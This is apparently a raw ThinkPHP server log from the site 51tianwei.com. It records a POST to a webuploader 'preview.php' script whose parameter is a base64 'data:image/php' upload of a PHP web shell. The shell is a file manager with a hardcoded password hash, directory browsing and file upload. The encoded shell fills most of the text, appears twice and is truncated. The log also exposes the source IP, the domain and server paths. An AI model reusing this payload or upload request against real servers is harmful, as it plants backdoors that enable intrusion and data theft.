'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGI' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:01+08:00 ] 119.42.146.234 POST 51tianwei.com/static/manage/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002820s] [吞吐率:354.61req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2gg